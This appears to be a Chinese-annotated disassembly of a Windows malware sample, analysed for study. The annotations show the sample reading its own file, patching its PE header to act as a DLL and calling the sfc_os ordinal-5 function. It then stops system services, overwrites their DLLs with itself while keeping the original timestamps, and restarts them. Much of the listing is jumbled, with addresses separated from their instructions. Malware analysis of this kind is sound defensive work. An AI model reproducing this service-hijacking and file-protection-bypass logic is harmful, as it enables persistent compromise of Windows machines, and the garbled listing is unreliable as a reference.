.text:00401C36 cmp [ebp+var_120], 32h .text:00401C3D jge short loc_401C70
.text:00401C3F push 0 ; hTemplateFile .text:00401C41 push 0 ; dwFlagsAndAttributes .text:00401C43 push 3 ; dwCreationDisposition .text:00401C45 push 0 ; lpSecurityAttributes .text:00401C47 push 1 ; dwShareMode .text:00401C49 push 80000000h ; dwDesiredAccess .text:00401C4E lea eax, [ebp+FileName] ; 自身文件路径 .text:00401C54 .text:00401C55 .text:00401C5B .text:00401C5E .text:00401C62 .text:00401C64 .text:00401C66 loc_401C66: .text:00401C66 .text:00401C68 .text:00401C6E .text:00401C70 loc_401C70: .text:00401C70 .text:00401C72 .text:00401C75 .text:00401C7B .text:00401C7E .text:00401C82 .text:00401C84 .text:00401C88 .text:00401C8A loc_401C8A: .text:00401C8A .text:00401C8D .text:00401C93 .text:00401C96 .text:00401C99 .text:00401C9C .text:00401C9F .text:00401CA1 .text:00401CA6 loc_401CA6:
.text:00401CA6 .text:00401CA9 .text:00401CAC .text:00401CAE .text:00401CB1 .text:00401CB4 push eax ; lpFileName
call ds:CreateFileA ; 创建打开自身的文件句柄 mov [ebp+hObject], eax
cmp [ebp+hObject], 0FFFFFFFFh
jz short loc_401C66 ; 打开失败跳走 jmp short loc_401C70
push 64h ; dwMilliseconds call ds:Sleep
jmp short loc_401C29 ; 跳回接着读取自身
push 0 ; lpFileSizeHigh push [ebp+hObject] ; hFile
call ds:GetFileSize ; 打开成功跳到这里获得文件长度 mov [ebp+nNumberOfBytesToRead], eax cmp [ebp+nNumberOfBytesToRead], 0
jz short loc_401C8A ; 文件长度为0跳走关闭句柄退出 cmp [ebp+nNumberOfBytesToRead], 0FFFFFFFFh jnz short loc_401CA6 ; 文件长度合适,跳走准备内存读取
push [ebp+hObject] ; hObject call ds:CloseHandle mov eax, [ebp+arg_4] and dword ptr [eax], 0 mov eax, [ebp+arg_8] and dword ptr [eax], 0 xor eax, eax
jmp locret_401D57 mov eax, [ebp+arg_8]
mov ecx, [ebp+nNumberOfBytesToRead] mov [eax], ecx
mov eax, [ebp+nNumberOfBytesToRead] add eax, 20h
push eax ; unsigned int
.text:00401CB5 call ??2@YAPAXI@Z ; operator new(uint) .text:00401CBA pop ecx
.text:00401CBB mov [ebp+var_124], eax .text:00401CC1 mov eax, [ebp+var_124] .text:00401CC7 mov [ebp+lpBuffer], eax .text:00401CCD mov eax, [ebp+arg_4] .text:00401CD0 mov ecx, [ebp+lpBuffer] .text:00401CD6 mov [eax], ecx
.text:00401CD8 mov eax, [ebp+nNumberOfBytesToRead] .text:00401CDB add eax, 20h
.text:00401CDE push eax ; size_t .text:00401CDF push 0 ; int .text:00401CE1 push [ebp+lpBuffer] ; void *
.text:00401CE7 call memset ; 将申请的内存区域清0 .text:00401CEC add esp, 0Ch
.text:00401CEF push 0 ; lpOverlapped .text:00401CF1 lea eax, [ebp+NumberOfBytesRead]
.text:00401CF4 push eax ; lpNumberOfBytesRead
.text:00401CF5 push [ebp+nNumberOfBytesToRead] ; nNumberOfBytesToRead
.text:00401CF8 push [ebp+lpBuffer] ; lpBuffer .text:00401CFE push [ebp+hObject] ; hFile
.text:00401D01 call ds:ReadFile ; 读取自身到指定的内存中 .text:00401D07 push [ebp+hObject] ; hObject .text:00401D0A call ds:CloseHandle .text:00401D10 and [ebp+var_10], 0 .text:00401D14 mov eax, [ebp+lpBuffer] .text:00401D1A mov ecx, [ebp+lpBuffer]
.text:00401D20 add ecx, [eax+3Ch] ; 取该文件DOS头的最后一个成员变量,使ecx定位到NT头
.text:00401D23 mov [ebp+var_10], ecx .text:00401D26 cmp [ebp+hModule], 0
.text:00401D2A jz short loc_401D41 ; 这里是0代表读取自身 .text:00401D2C mov eax, [ebp+var_10]
.text:00401D2F movzx eax, word ptr [eax+16h]
.text:00401D33 and eax, 0DFFFh .; 修改自身成dll属性
获取临时文件夹路径和系统windows路径,在\中搜索序号为5的函数,如果该dll装载失败则跳走从注册表中读取数据,打开设备管理器循环查看服务,当服务属于停止状态则替换该服务对应的Dll,替换的文件是Dll属性的自身文件,之后跳走退出,不成功则跳回查询下一个。
.text:004020AE push 104h ; uSize .text:004020B3 lea eax, [ebp+Buffer]
.text:004020B9 push eax ; lpBuffer
.text:004020BA call ds:GetWindowsDirectoryA ; 获取windows系统目录
.text:004020C0 push 104h ; size_t .text:004020C5 push 0 ; int .text:004020C7 lea eax, [ebp+TempPath]
.text:004020CD push eax ; void * .text:004020CE call memset .text:004020D3 add esp, 0Ch
.text:004020D6 lea eax, [ebp+TempPath]
.text:004020DC .text:004020DD .text:004020E2 .text:004020E8 .text:004020ED .text:004020EF .text:004020F1 .text:004020F7 .text:004020FA .text:004020FF .text:00402105 .text:0040210B .text:00402112 .text:00402114 .text:00402119 .text:0040211E GetFunAddNo5: .text:0040211E .text:00402120 .text:00402126 .text:0040212C
text:00402141 NextService: .text:00402141 .text:00402147 .text:00402148 .text:0040214E loc_40214E: .text:0040214E .text:00402154 .text:00402156 .text:00402158 .text:0040215E .text:0040215F .text:00402164 .text:00402167 .text:00402169 push eax ; lpBuffer
push 104h ; nBufferLength
call ds:GetTempPathA ; 获取临时文件夹路径 push 0F003Fh ; dwDesiredAccess push 0 ; lpDatabaseName push 0 ; lpMachineName call ds:OpenSCManagerA ; 打开设备管理器 mov [ebp+hSCManager], eax
push offset LibFileName ; \call ds:LoadLibraryA
mov [ebp+hLibModule], eax cmp [ebp+hLibModule], 0
jnz short GetFunAddNo5 ; Dll装载成功跳走 jmp GetVauleReg jmp GetVauleReg
push 5 ; lpProcName push [ebp+hLibModule] ; hModule
call ds:GetProcAddress ; 取得序号为5的函数地址 mov FunNO5sfc_os, eax
mov eax, [ebp+var_B8C] inc eax
mov [ebp+var_B8C], eax
push [ebp+var_B8C] ; int push 0 ; int push 40h ; int lea eax, [ebp+ServiceName]
push eax ; lpString1
call sub_401879 ; 解压服务名称 cmp eax, 0FFFFFFFFh jnz short loc_40218A cmp [ebp+var_784], 0
.text:00402170 jnz short loc_402185 ; ; Dll装载失败跳走 .text:00402172 mov [ebp+var_784], 1
.text:0040217C or [ebp+var_B8C], 0FFFFFFFFh .text:00402183 jmp short NextService .text:00402185 loc_402185:
.text:00402185 jmp GetVauleReg ; ; Dll装载失败跳走 .text:0040218A loc_40218A:
.text:0040218A push [ebp+var_B8C] ; int .text:00402190 push 1 ; int .text:00402192 .text:00402194 .text:0040219A .text:0040219B .text:004021A0 .text:004021A5 .text:004021AB .text:004021AC .text:004021B2 .text:004021B4 .text:004021B6 .text:004021B8 loc_4021B8: .text:004021B8 .text:004021BD .text:004021C3 .text:004021C4 .text:004021C7 .text:004021CD .text:004021D3 .text:004021DA .text:004021DC .text:004021E1 OpenSucceed: .text:004021E1 .text:004021E3 .text:004021E5 .text:004021EB .text:004021EC .text:004021F1 .text:004021F4 .text:004021FA .text:004021FB .text:00402201 .text:00402207 ; SERVICE_STOPPED
.text:0040220E push 40h ; int lea eax, [ebp+String1]
push eax ; lpString1 call sub_401879
push offset String ; lpString2 lea eax, [ebp+String1]
push eax ; lpString1 call ds:lstrcmpiA test eax, eax
jnz short loc_4021B8 jmp short NextService
push 0F01FFh ; dwDesiredAccess lea eax, [ebp+ServiceName]
push eax ; lpServiceName push [ebp+hSCManager] ; hSCManager call ds:OpenServiceA
mov [ebp+hSCObject], eax cmp [ebp+hSCObject], 0
jnz short OpenSucceed ; 打开服务成功跳走 jmp NextService
push 1Ch ; size_t push 0 ; int lea eax, [ebp+ServiceStatus] push eax ; void * call memset add esp, 0Ch
lea eax, [ebp+ServiceStatus]
push eax ; lpServiceStatus push [ebp+hSCObject] ; hService
call ds:QueryServiceStatus ;查看服务状态 cmp [ebp+ServiceStatus.dwCurrentState], 1 jz short ReplaceDll ; 查看服务停止,跳走
.text:00402210 cmp [ebp+var_784], 0
.text:00402217 jnz short ControlThisService
.text:00402219 jmp CloseThisNext ; 跳走关闭该服务并取下一个值 .text:00402223 ControlThisService:
.text:00402223 lea eax, [ebp+ServiceStatus]
.text:00402229 push eax ; lpServiceStatus .text:0040222A push 1 ; dwControl .text:0040222C push [ebp+hSCObject] ; hService
.text:00402232 call ds:ControlService ; 服务没停止则将其停止 .text:00402238 test eax, eax
.text:0040223A jnz short ReplaceDll ; 当服务停止跳走
.text:0040223C jmp CloseThisNext ; 跳走关闭该服务并取下一个值 .text:00402246 ReplaceDll:
.text:00402246 push 104h ; size_t .text:0040224B push 0 ; int .text:0040224D lea eax, [ebp+FileName]
.text:00402253 push eax ; void * .text:00402254 call memset .text:00402259 add esp, 0Ch
.text:0040225C lea eax, [ebp+String1] .text:00402262 push eax
.text:00402263 lea eax, [ebp+Buffer] .text:00402269 push eax
.text:0040226A push offset aSSystem32S_dll ; \.text:0040226F lea eax, [ebp+FileName]
.text:00402275 push eax ; LPSTR
.text:00402276 call ds:wsprintfA ; 设置dll路径,本次调试值为\
.text:0040227C add esp, 10h
.text:0040227F lea eax, [ebp+FileName]
.text:00402285 push eax ; lpFileName
.text:00402286 call ReplaceDll ; 替换dll并将其创建时间设置成原来创建的时间 ; 本次调试值为\.text:0040228B test eax, eax
.text:0040228D jnz short GoStarService
.text:00402291 jmp short CloseThisNext ; 跳走关闭该服务并取下一个值 .text:00402293 GoStarService:
.text:00402293 push 0 ; lpServiceArgVectors .text:00402295 push 0 ; dwNumServiceArgs .text:00402297 push [ebp+hSCObject] ; hService
.text:0040229D call ds:StartServiceA ; 开启原来关闭的服务 .text:004022A3 test eax, eax
.text:004022A5 jnz short ServiceOver ; 重启服务成功跳走